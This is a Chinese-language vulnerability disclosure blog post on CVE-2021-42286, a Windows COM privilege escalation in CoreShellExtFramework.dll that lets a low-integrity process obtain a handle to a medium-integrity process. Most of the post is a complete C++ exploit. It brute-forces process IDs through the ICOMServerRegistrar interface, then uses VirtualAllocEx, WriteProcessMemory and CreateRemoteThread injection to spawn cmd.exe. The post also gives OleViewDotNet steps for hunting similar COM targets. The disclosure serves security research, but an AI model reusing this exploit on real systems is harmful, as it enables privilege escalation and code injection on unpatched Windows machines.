CVE-2021-42286 利用com组件

说明

今天微软补了我报告的第一个漏洞，既然补丁已经发布，我完全可以披露它，同时分享我是怎么找到它的

该错误在2019年就被人报道过，但是这个错误在windows高版本被遗漏
https://www.zerodayinitiative.com/blog/2019/12/19/privilege-escalation-via-the-core-shell-com-registrar-object

挖掘过程

这是一个com组件的逻辑漏洞，在阅读了https://www.tiraniddo.dev/2018/09/后审计找到

博客中提供了两种攻击面，一种是AppContainer到medium,一种是交互式 并且教了如何查找这些接口

我想既然AppContainer到medium算漏洞，那么low到medium应该也行 再加上由于感觉com看的人比较少，索性开始试试

com相关的网址,不想被审:

漏洞成因

问题文件是CoreShellExtFramework.dll，加载该文件的sihost.exe以medium权限作为服务进程运行,CoreShellExtFramework.dll提供了接口CLSID_CoreShellCOMServerRegistrar，并且这个类可以被Low权限实例化

反编译下，问题就处在ICOMServerRegistrar上

ICOMServerRegistrar在ida中对应的名字为CoreShellComServerRegistrar，当时我报告的问题函数是CoreShellComServerRegistrar::OpenProcess，实际上其他方法也有问题，只不过在当时看来比较好利用

CoreShellComServerRegistrar::OpenProcess如下，其中的DuplicateHandle我们可以控制所有参数，并且CoreShellComServerRegistrar::OpenProcess的参数3也就是a4会被当作进程id，之后会打开这个进程，最后将句柄赋值给hSourceHandle

这将导致我们可以获得一个medium进程的句柄

关于漏洞利用：一旦我们获得了一个medium进程权限的句柄，那么则可以利用该句柄远程线程代码注入实现提权

exp:

#include <stdio.h>
#include <windows.h>
#include <hstring.h>
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <string>
#include <string.h>
#include <windows.h>
#include <strsafe.h>
#include <tlhelp32.h>
#define MAX_LENGTH 50
#define NORMAL_LENGTH 20
#pragma warning(disable:4996)

using namespace std;

class __declspec(uuid("e3a475cf-34ea-4e9a-9f3e-48ce5c6e4e57")) ITaskCompletionCallback : public IUnknown {
public:
    virtual HRESULT __stdcall Proc3(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ /* ENUM32 */ INT32 p1);
};

class __declspec(uuid("27eb33a5-77f9-4afe-ae05-6fdbbe720ee7")) ICOMServerRegistrar : public IUnknown {
public:
    virtual HRESULT __stdcall Proc3(/* Stack Offset: 8 */ GUID* p0, /* Stack Offset: 16 */ IUnknown* p1, /* Stack Offset: 24 */ INT64* p2);
    virtual HRESULT __stdcall Proc4(/* Stack Offset: 8 */ INT64 p0);
    virtual HRESULT __stdcall Proc5(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ INT64 p1, /* Stack Offset: 24 */ INT64 p2, /* Stack Offset: 32 */ INT64* p3, /* Stack Offset: 40 */ INT64 p4, /* Stack Offset: 48 */ INT64 p5, /* Stack Offset: 56 */ INT64 p6);
    virtual HRESULT __stdcall Proc6(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ INT64 p1, /* Stack Offset: 24 */ INT64 p2, /* Stack Offset: 32 */ INT64 p3, /* Stack Offset: 40 */ INT64* p4);
    virtual HRESULT __stdcall Proc7(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ HSTRING* p1);
    virtual HRESULT __stdcall Proc8(/* Stack Offset: 8 */ HWND p0, /* Stack Offset: 16 */ GUID* p1, /* Stack Offset: 24 */ IUnknown** p2);
    virtual HRESULT __stdcall Proc9(/* Stack Offset: 8 */ HWND p0, /* Stack Offset: 16 */ HWND p1, /* Stack Offset: 24 */ GUID* p2, /* Stack Offset: 32 */ IUnknown** p3);
    virtual HRESULT __stdcall Proc10(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ INT64* p1);
    virtual HRESULT __stdcall Proc11(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ ITaskCompletionCallback* p1, /* Stack Offset: 24 */ /* ENUM32 */ INT32 p2, /* Stack Offset: 32 */ INT64* p3);
    virtual HRESULT __stdcall Proc12(/* Stack Offset: 8 */ INT64 p0);
};

ICOMServerRegistrar* pICOMServerRegistrar;

UUID clsid;

UUID iid;

typedef struct _RemoteParam
{
    CHAR szOperation[NORMAL_LENGTH];
    CHAR szAddrerss[MAX_LENGTH];
    CHAR szLb[NORMAL_LENGTH];
    CHAR szFunc[NORMAL_LENGTH];
    LPVOID dwMLAAdress;
    LPVOID dwMGPAAddress;
    LPVOID dwSEAddress;
}RemoteParam;

DWORD WINAPI ThreadProc(RemoteParam* lprp)
{
    typedef HMODULE(WINAPI* MLoadLibraryA)(IN LPCTSTR lpFileName);

    typedef FARPROC(WINAPI* MGetProcAddress)(IN HMODULE hModule, IN LPCSTR lpProcName);

    typedef HINSTANCE(WINAPI* MShellExecuteA)(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);

    MLoadLibraryA MLA;

    MGetProcAddress MGPA;

    MShellExecuteA MSE;

    MLA = (MLoadLibraryA)lprp->dwMLAAdress;

    MGPA = (MGetProcAddress)lprp->dwMGPAAddress;

    lprp->dwSEAddress = (LPVOID)MGPA(MLA(lprp->szLb), lprp->szFunc);

    MSE = (MShellExecuteA)lprp->dwSEAddress;

    MSE(NULL, lprp->szOperation, lprp->szAddrerss, NULL, NULL, SW_SHOWNORMAL);

    return 0;
}


BOOL InjectProcess(HANDLE hd)
{
    HANDLE hWnd = hd;

    if (!hWnd) return FALSE;

    RemoteParam rp;

    ZeroMemory(&rp, sizeof(RemoteParam));

    rp.dwMLAAdress = (LPVOID)GetProcAddress(LoadLibraryA("Kernel32.dll"), "LoadLibraryA");

    rp.dwMGPAAddress = (LPVOID)GetProcAddress(LoadLibraryA("Kernel32.dll"), "GetProcAddress");

    StringCchCopyA(rp.szLb, sizeof(rp.szLb), "Shell32.dll");

    StringCchCopyA(rp.szFunc, sizeof(rp.szFunc), "ShellExecuteA");

    StringCchCopyA(rp.szAddrerss, sizeof(rp.szAddrerss), "cmd.exe");

    StringCchCopyA(rp.szOperation, sizeof(rp.szOperation), "open");

    RemoteParam* pRemoteParam = (RemoteParam*)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!pRemoteParam) return FALSE;

    if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;

    LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!pRemoteThread) return FALSE;

    if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
    HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);

    if (!hThread) return FALSE;

    return TRUE;
}

int main(int argc, char* argv[]) {

    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    CLSIDFromString(L"{54E14197-88B0-442F-B9A3-86837061E2FB}", &clsid);

    IIDFromString(L"{27eb33a5-77f9-4afe-ae05-6fdbbe720ee7}", &iid);

    HANDLE hTargetHandle = 0;

    HRESULT hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&pICOMServerRegistrar);

    if (!hr)
    {
        for (size_t i = 0; i < 123456; i++)
        {
            if (!OpenProcess(PROCESS_ALL_ACCESS, FALSE, i))
            {
                pICOMServerRegistrar->Proc6(PROCESS_ALL_ACCESS,
                    FALSE,
                    i,
                    (INT64)GetCurrentProcessId(),
                    (INT64*)&hTargetHandle
                );

                if (hTargetHandle != 0)
                {
                    InjectProcess(hTargetHandle);
                    return 0;
                }
            };
        }
    }
    else
    {
        printf("CoCreateInstance Error %x ", hr);
    }

    return 0;
}

补丁后low权限将无法实例化CLSID_CoreShellCOMServerRegistrar

但是该类仍属于交互式组件，可我在进行尝试发掘时发现不能用于跨会话攻击，因为UlMgrOpenProcessHandleForAccesst里似乎有这样的代码：保证两个进程位于一个会话中

OleViewDotNet.exe查看low可以访问的appid 步骤

进入界面后点击Accessible然后点击Apply

弹出对话框设置进程访问完整性

点击ok，至此，过滤完毕